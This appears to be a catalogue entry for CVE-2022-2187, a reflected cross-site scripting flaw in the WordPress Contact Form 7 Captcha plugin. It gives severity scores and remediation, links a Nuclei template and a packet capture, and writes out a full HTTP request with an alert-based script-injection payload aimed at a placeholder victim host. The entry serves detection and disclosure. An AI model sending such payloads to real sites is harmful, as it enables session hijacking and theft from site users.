| Title | WordPress Contact Form 7 Captcha <0.1.2 - Cross-Site Scripting |
|---|---|
| Author | For3stCo1d |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Update the WordPress Contact Form 7 Captcha plugin to version 0.1.2 or later to mitigate the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.07773 |
| CVE ID | CVE-2022-2187 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 wpscan wordpress xss wp-plugin wp contact_form_7_captcha_project vuln |
WordPress Contact Form 7 Captcha plugin before 0.1.2 contains a reflected cross-site scripting vulnerability. It does not escape the $_SERVER[‘REQUEST_URI’] parameter before outputting it back in an attribute.
GET /wp-admin/options-general.php?page=cf7sr_edit&"></script><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-2187.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-2187.pcap
N/AN/A